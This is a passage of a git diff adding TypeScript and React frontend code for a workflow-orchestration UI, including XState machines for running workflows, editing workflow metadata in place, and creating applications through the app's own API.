idempotencyStrategy: undefined, + }, + states: { + [RunMachineStates.IDLE]: { + on: { + [RunMachineEventsTypes.UPDATE_INPUT_PARAMS]: { + actions: ["persistInputParams"], + }, + [RunMachineEventsTypes.UPDATE_CORRELATION_ID]: { + actions: ["persistCorrelationId"], + }, + [RunMachineEventsTypes.UPDATE_IDEMPOTENCY_KEY]: { + actions: ["persistIdempotencyKey"], + }, + [RunMachineEventsTypes.UPDATE_IDEMPOTENCY_VALUES]: { + actions: ["persistIdempotencyValues"], + }, + [RunMachineEventsTypes.UPDATE_IDEMPOTENCY_STRATEGY]: { + actions: ["persistIdempotencyStrategy"], + }, + [RunMachineEventsTypes.UPDATE_TASKS_TO_DOMAIN_MAPPING]: { + actions: ["persistTasksToDomain"], + }, + [RunMachineEventsTypes.CLEAR_FORM]: { + actions: ["clearForm"], + }, + [RunMachineEventsTypes.TRIGGER_RUN_WORKFLOW]: { + target: RunMachineStates.RUN_WORKFLOW, + }, + [RunMachineEventsTypes.HANDLE_POPOVER_MESSAGE]: { + actions: ["persistPopupMessage"], + }, + [RunMachineEventsTypes.UPDATE_ALL_FIELDS]: { + actions: ["persistAllFields"], + }, + [RunMachineEventsTypes.CHANGE_TAB_EVT]: { + actions: ["sendContextToParent"], + }, + }, + }, + [RunMachineStates.CHECK_INPUT_PARAMS]: { + entry: ["checkForExistingInputParams"], + always: RunMachineStates.IDLE, + }, + [RunMachineStates.RUN_WORKFLOW]: { + invoke: { + src: "runWorkflow", + onDone: { + actions: ["redirectToNewExecution"], + target: RunMachineStates.IDLE, + }, + onError: { + actions: ["reportErrorToErrorInspector"], + target: RunMachineStates.IDLE, + }, + }, + }, + }, + }, + { + services: services as any, + actions: actions as any, + }, +); diff --git a/ui-next/src/pages/definition/RunWorkflow/state/services.ts b/ui-next/src/pages/definition/RunWorkflow/state/services.ts new file mode 100644 index 0000000..13c987a --- /dev/null +++ b/ui-next/src/pages/definition/RunWorkflow/state/services.ts @@ -0,0 +1,77 @@ +import { tryToJson, tryFunc } from "utils/utils"; +import { RunMachineContext } from "./types"; +import { fetchWithContext } from "plugins/fetch"; +import { v4 as uuidv4 } from "uuid"; +const GENERIC_ERROR_MESSAGE = "Error while running workflow."; + +export const runWorkflow = async ( + { + authHeaders, + input: inputParams, + taskToDomain: tasksToDomain, + correlationId, + currentWf, + idempotencyKey, + idempotencyStrategy, + }: RunMachineContext, + __: any, +) => { + return tryFunc({ + fn: async () => { + const RECORD_LIMIT = 20; + const input = tryToJson(inputParams); + const taskToDomain = tryToJson(tasksToDomain); + const postObject = { + name: currentWf?.name, + version: currentWf?.version, + correlationId, + input, + taskToDomain, + idempotencyKey, + ...(idempotencyKey && + idempotencyStrategy && { + idempotencyStrategy: idempotencyStrategy, + }), + }; + const postBody = JSON.stringify(postObject); + const result = await fetchWithContext( + "/workflow", + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: postBody, + }, + true, + ); + + // store history in local storage + const existingHistory: [] = + tryToJson(localStorage.getItem("workflowHistory")) || []; + const newHistoryItem = { + id: uuidv4(), + executionLink: result, + executionTime: Date.now(), + }; + + if (postObject) { + Object.assign(newHistoryItem, postObject); + } + localStorage.setItem( + "workflowHistory", + JSON.stringify( + [newHistoryItem, ...existingHistory].slice(0, RECORD_LIMIT), + ), + ); + + return result; + }, + customError: { + message: GENERIC_ERROR_MESSAGE, + }, + showCustomError: false, + }); +}; diff --git a/ui-next/src/pages/definition/RunWorkflow/state/types.ts b/ui-next/src/pages/definition/RunWorkflow/state/types.ts new file mode 100644 index 0000000..2de8c99 --- /dev/null +++ b/ui-next/src/pages/definition/RunWorkflow/state/types.ts @@ -0,0 +1,136 @@ +import { ActorRef } from "xstate"; +import { PopoverMessage, WorkflowDef } from "types"; +import { AuthHeaders } from "types"; +import { ErrorInspectorMachineEvents } from "pages/definition/errorInspector/state/types"; + +export enum IdempotencyStrategyEnum { + FAIL = "FAIL", + RETURN_EXISTING = "RETURN_EXISTING", + FAIL_ON_RUNNING = "FAIL_ON_RUNNING", +} + +export type IdempotencyValuesProp = { + idempotencyKey: string; + idempotencyStrategy?: IdempotencyStrategyEnum; +}; + +type CommonProperties = { + correlationId: string; + input: object; + taskToDomain?: object; + idempotencyKey?: string; + idempotencyStrategy?: IdempotencyStrategyEnum; +}; + +export type RunWorkflowParamType = { + name: string; + version: string; +} & CommonProperties; + +export type FieldsData = { + input: string; + taskToDomain: string; + correlationId: string; + idempotencyKey?: string; + idempotencyStrategy?: IdempotencyStrategyEnum; +}; + +export type ExtendedFieldsData = FieldsData & { + name: string; + executionLink: string; +}; + +export interface RunMachineContext { + authHeaders?: AuthHeaders; + currentWf: Partial; + input?: string; + correlationId?: string; + taskToDomain?: string; + popoverMessage: PopoverMessage | null; + errorInspectorMachine?: ActorRef; + idempotencyKey?: string; + idempotencyStrategy?: IdempotencyStrategyEnum; + workflowDefaultRunParam?: Record; +} + +export enum RunMachineStates { + IDLE = "IDLE", + CHECK_INPUT_PARAMS = "CHECK_INPUT_PARAMS", + RUN_WORKFLOW = "RUN_WORKFLOW", +} + +export enum RunMachineEventsTypes { + UPDATE_INPUT_PARAMS = "UPDATE_INPUT_PARAMS", + UPDATE_CORRELATION_ID = "UPDATE_CORRELATION_ID", + UPDATE_TASKS_TO_DOMAIN_MAPPING = "UPDATE_TASKS_TO_DOMAIN_MAPPING", + CLEAR_FORM = "CLEAR_FORM", + TRIGGER_RUN_WORKFLOW = "TRIGGER_RUN_WORKFLOW", + HANDLE_POPOVER_MESSAGE = "HANDLE_POPOVER_MESSAGE", + UPDATE_ALL_FIELDS = "UPDATE_ALL_FIELDS", + UPDATE_IDEMPOTENCY_STRATEGY = "UPDATE_IDEMPOTENCY_STRATEGY", + UPDATE_IDEMPOTENCY_KEY = "UPDATE_IDEMPOTENCY_KEY", + UPDATE_IDEMPOTENCY_VALUES = "UPDATE_IDEMPOTENCY_VALUES", + CHANGE_TAB_EVT = "changeTab", +} + +export type UpdateInputParamsEvent = { + type: RunMachineEventsTypes.UPDATE_INPUT_PARAMS; + changes: string; +}; +export type UpdateCorrelationIdEvent = { + type: RunMachineEventsTypes.UPDATE_CORRELATION_ID; + changes: string; +}; +export type UpdateIdempotencyKeyEvent = { + type: RunMachineEventsTypes.UPDATE_IDEMPOTENCY_KEY; + changes: string; +}; +export type UpdateIdempotencyStrategyEvent = { + type: RunMachineEventsTypes.UPDATE_IDEMPOTENCY_STRATEGY; + changes: IdempotencyStrategyEnum; +}; + +export type UpdateIdempotencyValuesEvent = { + type: RunMachineEventsTypes.UPDATE_IDEMPOTENCY_VALUES; + changes: IdempotencyValuesProp; +}; + +export type UpdateTasksToDomainEvent = { + type: RunMachineEventsTypes.UPDATE_TASKS_TO_DOMAIN_MAPPING; + changes: string; +}; + +export type ClearFormEvent = { + type: RunMachineEventsTypes.CLEAR_FORM; +}; + +export type RunWorkflowEvent = { + type: RunMachineEventsTypes.TRIGGER_RUN_WORKFLOW; +}; + +export type HandlePopoverMessageEvent = { + type: RunMachineEventsTypes.HANDLE_POPOVER_MESSAGE; + popoverMessage: PopoverMessage | null; +}; + +export type UpdateAllFieldsEvent = { + type: RunMachineEventsTypes.UPDATE_ALL_FIELDS; + data: FieldsData; +}; + +export type ChangeTabEvent = { + type: RunMachineEventsTypes.CHANGE_TAB_EVT; +}; + +export type RunMachineEvents = + | UpdateInputParamsEvent + | UpdateCorrelationIdEvent + | UpdateTasksToDomainEvent + | ClearFormEvent + | RunWorkflowEvent + | HandlePopoverMessageEvent + | UpdateAllFieldsEvent + | UpdateIdempotencyStrategyEvent + | UpdateIdempotencyKeyEvent + | UpdateIdempotencyValuesEvent + | ChangeTabEvent; diff --git a/ui-next/src/pages/definition/WorkflowDefinition.tsx b/ui-next/src/pages/definition/WorkflowDefinition.tsx new file mode 100644 index 0000000..1487767 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowDefinition.tsx @@ -0,0 +1,123 @@ +import { AlertColor, Box } from "@mui/material"; +import { useSelector } from "@xstate/react"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import TwoPanesDivider from "components/ui/TwoPanesDivider"; +import { + DefinitionMachineContext, + FlowEditContextProvider, + WorkflowDefinitionEvents, +} from "pages/definition/state"; +import { Helmet } from "react-helmet"; +import { useAuth } from "components/features/auth"; +import { ActorRef, State } from "xstate"; +import sharedStyles from "../styles"; +import EditorPanel from "./EditorPanel/EditorPanel"; +import GraphPanel from "./GraphPanel"; +import { PromptIfChanges } from "./PromptIfChanges"; +import { useWorkflowDefinition } from "./state/hook"; +import { WorkflowMetaBar } from "./WorkflowMetadata"; + +export default function Workflow() { + const { conductorUser } = useAuth(); + const [ + { handleResetMessage, setLeftPanelExpanded }, + { workflowName, message, definitionActor, leftPanelExpanded }, + ] = useWorkflowDefinition(conductorUser!); + + const graphPanel = ; + + const editorPanel = definitionActor && ( + + ); + + const isReady = useSelector( + definitionActor, + (state: State) => state.matches("ready"), + ); + + return ( + <> + {isReady && definitionActor && ( + + )} + + + Workflow Definition - {workflowName || "NEW"} + + + + + + + {/* {showImportSuccessfulDialog && fetchingWfSuccessful && ( + + )} */} + + } + /> + + + {definitionActor?.children.get("flowMachine") && ( + + )} + + + + + + + ); +} diff --git a/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/EditInPlaceFieldWrapper.tsx b/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/EditInPlaceFieldWrapper.tsx new file mode 100644 index 0000000..b724b4b --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/EditInPlaceFieldWrapper.tsx @@ -0,0 +1,69 @@ +import { ActorRef } from "xstate"; +import { CSSProperties, useRef } from "react"; +import { useActor, useSelector } from "@xstate/react"; +import EditInPlace, { + EditInPlaceProps, +} from "components/ui/inputs/EditInPlace"; +import { InputBase } from "@mui/material"; +import { EditInPlaceEventTypes, EditInPlaceMachineEvents } from "./state"; +import { FunctionComponent } from "react"; + +interface EditorInPlaceFieldWrapperProps extends Omit< + EditInPlaceProps, + "isEditing" | "setEditing" | "text" | "childRef" +> { + editInPlaceActor: ActorRef; + inputStyles?: CSSProperties; +} + +export const EditInPlaceFieldWrapper: FunctionComponent< + EditorInPlaceFieldWrapperProps +> = ({ + editInPlaceActor, + disabled, + inputStyles, + style, + ...editInPlaceProps +}) => { + const [, send] = useActor(editInPlaceActor); + const isEditing = useSelector(editInPlaceActor, (state) => + state.matches("editing"), + ); + const fieldValue = useSelector( + editInPlaceActor, + (state) => state.context.value, + ); + const handleChange = (value: string) => { + send({ type: EditInPlaceEventTypes.CHANGE_VALUE, value }); + }; + + const handleToggleEditing = () => { + send({ type: EditInPlaceEventTypes.TOGGLE_EDITING }); + }; + + const inputRef = useRef(null); + return ( + + { + handleChange(value); + }} + style={inputStyles} + id="edit-inline-input-base" + /> + + ); +}; diff --git a/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/actions.ts b/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/actions.ts new file mode 100644 index 0000000..83eea35 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/actions.ts @@ -0,0 +1,21 @@ +import { assign, sendParent } from "xstate"; +import { cancel } from "xstate/lib/actions"; +import { EditInPlaceMachineContext, ChangeValueEvent } from "./types"; +import { WorkflowMetadataMachineEventTypes } from "../../state/types"; + +export const persistChanges = assign< + EditInPlaceMachineContext, + ChangeValueEvent +>({ + value: (_context, { value }) => value, +}); + +export const debounceSyncWithParent = sendParent( + (context: EditInPlaceMachineContext, { value }: ChangeValueEvent) => ({ + type: WorkflowMetadataMachineEventTypes.UPDATE_METADATA, + metadataChanges: { [context.fieldName]: value }, + }), + /* { delay: 500, id: "sync_with_parent" } // Use function to reduce debounce if code tab is opened. */ +); + +export const cancelSyncWithParent = cancel("sync_with_parent"); diff --git a/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/guards.ts b/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/guards.ts new file mode 100644 index 0000000..0d80348 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/guards.ts @@ -0,0 +1,12 @@ +import { EditInPlaceMachineContext, ChangeValueEvent } from "./types"; + +export const hasValidChars = ( + context: EditInPlaceMachineContext, + { value }: ChangeValueEvent, +) => { + if (context.allowedCharsRegEx) { + const regEx = new RegExp(context.allowedCharsRegEx); + return regEx.test(value); + } + return true; +}; diff --git a/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/index.ts b/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/index.ts new file mode 100644 index 0000000..53401e4 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/index.ts @@ -0,0 +1,2 @@ +export * from "./types"; +export * from "./machine"; diff --git a/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/machine.ts b/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/machine.ts new file mode 100644 index 0000000..4122478 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/machine.ts @@ -0,0 +1,55 @@ +import { createMachine } from "xstate"; +import * as actions from "./actions"; +import { + EditInPlaceMachineContext, + EditInPlaceEventTypes, + EditInPlaceMachineEvents, +} from "./types"; +import * as guards from "./guards"; + +export const editInPlaceMachine = createMachine< + EditInPlaceMachineContext, + EditInPlaceMachineEvents +>( + { + id: "editInPlaceMachine", + initial: "notEditing", + predictableActionArguments: true, + context: { + value: "", + fieldName: "", + }, + on: { + [EditInPlaceEventTypes.DISABLE_EDITING]: { + target: "notEditing", + }, + }, + states: { + editing: { + on: { + [EditInPlaceEventTypes.CHANGE_VALUE]: { + cond: "hasValidChars", + actions: ["persistChanges", "debounceSyncWithParent"], + }, + [EditInPlaceEventTypes.TOGGLE_EDITING]: { + target: "notEditing", + }, + }, + }, + notEditing: { + on: { + [EditInPlaceEventTypes.TOGGLE_EDITING]: { + target: "editing", + }, + [EditInPlaceEventTypes.VALUE_UPDATED]: { + actions: ["persistChanges"], + }, + }, + }, + }, + }, + { + actions: actions as any, + guards: guards as any, + }, +); diff --git a/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/types.ts b/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/types.ts new file mode 100644 index 0000000..3a1c83f --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/types.ts @@ -0,0 +1,36 @@ +export interface EditInPlaceMachineContext { + value: string; + fieldName: string; + allowedCharsRegEx?: string; +} + +export enum EditInPlaceEventTypes { + TOGGLE_EDITING = "TOGGLE_EDITING", + CHANGE_VALUE = "CHANGE_VALUE", + VALUE_UPDATED = "VALUE_UPDATED", + DISABLE_EDITING = "DISABLE_EDITING", +} + +export type ToggleEditingEvent = { + type: EditInPlaceEventTypes.TOGGLE_EDITING; +}; + +export type ChangeValueEvent = { + type: EditInPlaceEventTypes.CHANGE_VALUE; + value: string; +}; + +export type ValueUpdatedEvent = { + type: EditInPlaceEventTypes.VALUE_UPDATED; + value: string; +}; + +export type DisableEditingEvent = { + type: EditInPlaceEventTypes.DISABLE_EDITING; +}; + +export type EditInPlaceMachineEvents = + | ToggleEditingEvent + | ChangeValueEvent + | DisableEditingEvent + | ValueUpdatedEvent; diff --git a/ui-next/src/pages/definition/WorkflowMetadata/WorkflowMetaBar.tsx b/ui-next/src/pages/definition/WorkflowMetadata/WorkflowMetaBar.tsx new file mode 100644 index 0000000..543cc05 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/WorkflowMetaBar.tsx @@ -0,0 +1,213 @@ +import { Box, Grid } from "@mui/material"; +import { useSelector } from "@xstate/react"; +import { Text } from "components"; +import { selectIsOpenedEdge } from "components/features/flow/state/selectors"; +import { HeadBarSelect } from "components/ui/inputs"; +import ConductorBreadcrumbs from "components/ui/layout/ConductorBreadcrumbs"; +import DoubleArrowLeftIcon from "components/icons/DoubleArrowLeftIcon"; +import ButtonLinks from "components/layout/header/ButtonLinks"; +import _isString from "lodash/isString"; +import _isUndefined from "lodash/isUndefined"; +import _uniq from "lodash/uniq"; +import { FunctionComponent, useMemo } from "react"; +import { useContainerQuery } from "react-container-query"; +import { colors } from "theme/tokens/variables"; +import { ActorRef } from "xstate"; +import { HeadActionButtons } from "../EditorPanel/HeadActionButtons"; +import { + isSaveRequestSelector, + versionSelector, + versionsSelector, +} from "../EditorPanel/selectors"; +import { ConfirmSaveButtonGroup } from "../confirmSave"; +import { + DefinitionMachineEventTypes, + WorkflowDefinitionEvents, +} from "../state"; + +const metaBarQuery = { + small: { + maxWidth: 699, + }, + large: { + minWidth: 700, + }, +}; +/* THIS IS NOT THE METABAR THIS IS ACTUALLY THE HEADER. NOT RENAMING SINCE WE ARE MOVING TO VITE. WE WILL CONFUSE IT */ +interface WorkflowMetaBarProps { + leftPanelExpanded: boolean; // We should get rid of this move it to xstate + setLeftPanelExpanded: (t: boolean) => void; + definitionActor: ActorRef; +} + +export const WorkflowMetaBar: FunctionComponent = ({ + leftPanelExpanded, + setLeftPanelExpanded, + definitionActor, +}) => { + const version = useSelector(definitionActor, versionSelector); + const versions = useSelector(definitionActor, versionsSelector); + const isSaveRequest = useSelector(definitionActor, isSaveRequestSelector); + const flowActor = (definitionActor as any)?.children?.get("flowMachine"); + const isNewWorkflow = useSelector( + definitionActor, + (state) => state.context?.isNewWorkflow, + ); + + const openedEdge = useSelector(flowActor, selectIsOpenedEdge); + + const handleChangeVersion = (version: string) => + definitionActor.send({ + type: DefinitionMachineEventTypes.CHANGE_VERSION_EVT, + version, + }); + + const name = useSelector( + definitionActor, + (state) => state.context?.workflowChanges?.name, + ); + const [_containerQueryState, containerRef] = useContainerQuery(metaBarQuery, { + width: 600, + height: 800, + }); + + const saveChangesActor = (definitionActor as any).children?.get( + "saveChangesMachine", + ); + + const maybeConfirmSaveButtonGroup = useMemo( + () => + isSaveRequest && saveChangesActor ? ( + + ) : null, + [saveChangesActor, isSaveRequest], + ); + + const breadcrumbItems = [ + { label: "Workflow Definitions", to: "/workflowDef" }, + { label: name, to: "" }, + ]; + + return ( + <> + + theme.palette?.mode === "dark" ? colors.gray14 : undefined, + backgroundColor: (theme) => + theme.palette?.mode === "dark" ? colors.gray00 : colors.gray14, + position: "relative", + }} + > + + + + + {_isString(name) ? name : ""} + + + + + + handleChangeVersion(e)} + items={[ + ...(_uniq(versions || [])?.sort((a, b) => a - b) || []), + ...(!isNewWorkflow + ? [{ label: "Latest version", value: "" }] + : []), + ].map((ver) => + typeof ver === "number" + ? { label: `Version ${ver}`, value: ver.toString() } + : ver, + )} + labelOnEmpty="Latest version" + /> + {maybeConfirmSaveButtonGroup} + {!(definitionActor as any).children?.get( + "saveChangesMachine", + ) && } + + + + {leftPanelExpanded && !openedEdge && ( + + { + setLeftPanelExpanded(false); + }} + sx={{ + fontSize: "12px", + fontWeight: 400, + display: "flex", + alignItems: "center", + }} + > + Open panel + + + )} + + + ); +}; diff --git a/ui-next/src/pages/definition/WorkflowMetadata/index.ts b/ui-next/src/pages/definition/WorkflowMetadata/index.ts new file mode 100644 index 0000000..bdd9142 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/index.ts @@ -0,0 +1 @@ +export * from "./WorkflowMetaBar"; diff --git a/ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/WorkflowMetadataContext.tsx b/ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/WorkflowMetadataContext.tsx new file mode 100644 index 0000000..9e59306 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/WorkflowMetadataContext.tsx @@ -0,0 +1,7 @@ +import { createContext } from "react"; +import { WorkflowMetadataContextProviderProps } from "./types"; + +export const WorkflowMetadataContext = + createContext({ + workflowMetadataActor: undefined, + }); diff --git a/ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/WorkflowMetadataProvider.tsx b/ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/WorkflowMetadataProvider.tsx new file mode 100644 index 0000000..075a10b --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/WorkflowMetadataProvider.tsx @@ -0,0 +1,11 @@ +import { FunctionComponent } from "react"; +import { WorkflowMetadataContext } from "./WorkflowMetadataContext"; +import { WorkflowMetadataContextProviderProps } from "./types"; + +export const WorkflowMetadataProvider: FunctionComponent< + WorkflowMetadataContextProviderProps +> = ({ children, workflowMetadataActor }) => ( + + {children} + +); diff --git a/ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/index.ts b/ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/index.ts new file mode 100644 index 0000000..8a6d368 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/index.ts @@ -0,0 +1,2 @@ +export * from "./WorkflowMetadataContext"; +export * from "./WorkflowMetadataProvider"; diff --git a/ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/types.ts b/ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/types.ts new file mode 100644 index 0000000..78e5315 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/types.ts @@ -0,0 +1,8 @@ +import { ReactNode } from "react"; +import { ActorRef } from "xstate"; +import { WorkflowMetadataEvents } from "../types"; + +export interface WorkflowMetadataContextProviderProps { + workflowMetadataActor?: ActorRef; + children?: ReactNode; +} diff --git a/ui-next/src/pages/definition/WorkflowMetadata/state/actions.ts b/ui-next/src/pages/definition/WorkflowMetadata/state/actions.ts new file mode 100644 index 0000000..4622b49 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/state/actions.ts @@ -0,0 +1,96 @@ +import { assign, sendParent, spawn, forwardTo, DoneInvokeEvent } from "xstate"; +import { cancel, send, pure } from "xstate/lib/actions"; +import { + UpdateMetaDataEvent, + WorkflowChangedEvent, + WorkflowMetadataMachineContext, +} from "./types"; +import _get from "lodash/get"; +import { DefinitionMachineEventTypes } from "pages/definition/state/types"; +import { WorkflowDef } from "types/WorkflowDef"; +import { extractWorkflowMetadata } from "../../helpers"; +import { EditInPlaceEventTypes } from "../EditInPlaceWrapper/state/types"; +import { editInPlaceMachine } from "../EditInPlaceWrapper/state/machine"; +import { metadataFieldMachine } from "pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/machine"; + +export const persistPartialMetaDataChanges = assign< + WorkflowMetadataMachineContext, + UpdateMetaDataEvent +>({ + metadataChanges: ( + { metadataChanges }, + { metadataChanges: partialChanges }, + ) => ({ ...metadataChanges, ...partialChanges }), +}); + +export const syncWithParent = sendParent( + (__, { metadataChanges }: UpdateMetaDataEvent) => ({ + type: DefinitionMachineEventTypes.UPDATE_WF_METADATA_EVT, + workflowMetadata: metadataChanges, + }), +); + +export const cancelSyncWithParent = cancel("sync_with_parent"); + +export const updateLocalCopy = assign< + WorkflowMetadataMachineContext, + WorkflowChangedEvent +>((context, { workflow }) => { + const metadata = extractWorkflowMetadata(workflow as Partial); + + return { + metadataChanges: metadata, + }; +}); + +// takes the machine name from context and spawns actors for each field +export const spawnFieldActors = assign({ + editableFieldActors: (context) => { + const childMachines = { + editInPlaceMachine: editInPlaceMachine, + metadataFieldMachine: metadataFieldMachine, + }; + const machineInstance = _get(childMachines, context.childActorsMachineName); + return context.editableFields.map((field) => + spawn( + machineInstance.withContext({ + value: _get(context.metadataChanges, field), + fieldName: field, + }), + `${field}-field`, + ), + ); + }, +}); + +// @ts-ignore +export const notifyActors = pure((context: WorkflowMetadataMachineContext) => { + return context.editableFields.map((field) => + send( + { + type: EditInPlaceEventTypes.VALUE_UPDATED, + value: _get(context.metadataChanges, field), + }, + { to: `${field}-field` }, + ), + ); +}); + +export const forwardActionToActors = pure( + // @ts-ignore + (context: WorkflowMetadataMachineContext) => { + return context.editableFields.map((field) => forwardTo(`${field}-field`)); + }, +); + +export const persistApplicationKeys = assign< + WorkflowMetadataMachineContext, + DoneInvokeEvent<{ id: string; secret: string }> +>((_context, { data }) => { + return { + applicationAccessKey: { + id: data.id, + secret: data.secret, + }, + }; +}); diff --git a/ui-next/src/pages/definition/WorkflowMetadata/state/guards.ts b/ui-next/src/pages/definition/WorkflowMetadata/state/guards.ts new file mode 100644 index 0000000..608ca35 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/state/guards.ts @@ -0,0 +1,12 @@ +import { WorkflowMetadataMachineContext, WorkflowChangedEvent } from "./types"; +import { extractWorkflowMetadata } from "../../helpers"; +import fastDeepEqual from "fast-deep-equal"; + +export const hasMetadataChanges = ( + { metadataChanges }: WorkflowMetadataMachineContext, + { workflow }: WorkflowChangedEvent, +) => { + const sliceOfInterest = extractWorkflowMetadata(workflow); + const hasChanges = fastDeepEqual(sliceOfInterest, metadataChanges); + return !hasChanges; +}; diff --git a/ui-next/src/pages/definition/WorkflowMetadata/state/hook.ts b/ui-next/src/pages/definition/WorkflowMetadata/state/hook.ts new file mode 100644 index 0000000..56a0f9e --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/state/hook.ts @@ -0,0 +1,30 @@ +import { ActorRef } from "xstate"; +import { useSelector } from "@xstate/react"; +import { WorkflowMetadataEvents } from "./types"; + +export const useWorkflowMetadataEditorActor = ( + metadataEditorActor: ActorRef, +) => { + const [nameFieldActor, descriptionFieldActor] = useSelector( + metadataEditorActor, + (state) => state.context.editableFieldActors, + ); + + return [ + { + ownerEmail: useSelector( + metadataEditorActor, + (state) => state.context.metadataChanges?.ownerEmail, + ), + updateTime: useSelector( + metadataEditorActor, + (state) => state.context.metadataChanges?.updateTime, + ), + isDisabled: useSelector(metadataEditorActor, (state) => + state.matches("editingDisabled"), + ), + nameFieldActor, + descriptionFieldActor, + }, + ]; +}; diff --git a/ui-next/src/pages/definition/WorkflowMetadata/state/index.ts b/ui-next/src/pages/definition/WorkflowMetadata/state/index.ts new file mode 100644 index 0000000..0a5333b --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/state/index.ts @@ -0,0 +1,4 @@ +export * from "./hook"; +export * from "./machine"; +export * from "./types"; +export * from "./WorkflowMetadataContext"; diff --git a/ui-next/src/pages/definition/WorkflowMetadata/state/machine.ts b/ui-next/src/pages/definition/WorkflowMetadata/state/machine.ts new file mode 100644 index 0000000..8fca9a3 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/state/machine.ts @@ -0,0 +1,91 @@ +import { createMachine } from "xstate"; +import * as services from "./services"; + +import * as actions from "./actions"; +import { + WorkflowMetadataMachineEventTypes, + WorkflowMetadataMachineContext, + WorkflowMetadataEvents, +} from "./types"; +import * as guards from "./guards"; +import { LocalCopyMachineEventTypes } from "../../ConfirmLocalCopyDialog/state/types"; +import { createAndDisplayApplicationMachine } from "shared/createAndDisplayApplication/state/machine"; + +export const workflowMetadataMachine = createMachine< + WorkflowMetadataMachineContext, + WorkflowMetadataEvents +>( + { + id: "workflowMetadataEditorMachine", + predictableActionArguments: true, + context: { + metadataChanges: {}, + editableFields: [], + editableFieldActors: [], + childActorsMachineName: "editInPlaceMachine", // Will be provided with the name of the machine to spawn the actors with. + }, + on: { + [LocalCopyMachineEventTypes.USE_LOCAL_COPY_WORKFLOW]: { + actions: ["updateLocalCopy", "notifyActors"], + }, + [WorkflowMetadataMachineEventTypes.FORCE_WORKFLOW]: { + actions: ["updateLocalCopy", "notifyActors"], + cond: "hasMetadataChanges", + }, + }, + type: "parallel", + states: { + fieldEdition: { + initial: "init", + states: { + init: { + entry: "spawnFieldActors", + always: "editingEnabled", + }, + editingEnabled: { + tags: ["editingEnabled"], + on: { + [WorkflowMetadataMachineEventTypes.UPDATE_METADATA]: { + actions: ["persistPartialMetaDataChanges", "syncWithParent"], + }, + [WorkflowMetadataMachineEventTypes.DISABLE_EDITING]: { + target: "editingDisabled", + actions: ["forwardActionToActors"], + }, + }, + }, + editingDisabled: { + tags: ["editingDisabled"], + on: { + [WorkflowMetadataMachineEventTypes.ENABLE_EDITING]: { + target: "editingEnabled", + }, + [WorkflowMetadataMachineEventTypes.WORKFLOW_CHANGED]: { + actions: ["updateLocalCopy", "notifyActors"], + cond: "hasMetadataChanges", + }, + }, + }, + }, + }, + fastApp: { + tags: ["fastAppCreation"], + invoke: { + id: "createAndDisplayApplicationMachine", + src: createAndDisplayApplicationMachine, + data: { + applicationName: (context: WorkflowMetadataMachineContext) => + context.metadataChanges.name, + authHeaders: (context: WorkflowMetadataMachineContext) => + context.authHeaders, + }, + }, + }, + }, + }, + { + actions: actions as any, + guards: guards as any, + services: services as any, + }, +); diff --git a/ui-next/src/pages/definition/WorkflowMetadata/state/services.ts b/ui-next/src/pages/definition/WorkflowMetadata/state/services.ts new file mode 100644 index 0000000..3df7cc6 --- /dev/null +++ b/ui-next/src/pages/definition/WorkflowMetadata/state/services.ts @@ -0,0 +1,81 @@ +import { fetchWithContext } from "plugins/fetch"; +import { WorkflowMetadataMachineContext } from "./types"; +import { getErrorMessage } from "utils/utils"; +// const fetchContext = fetchContextNonHook(); + +export const createApplication = async ( + context: WorkflowMetadataMachineContext, +) => { + const { authHeaders, metadataChanges } = context; + try { + return await fetchWithContext( + "/applications", + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: JSON.stringify({ name: metadataChanges.name }), + }, + ); + } catch 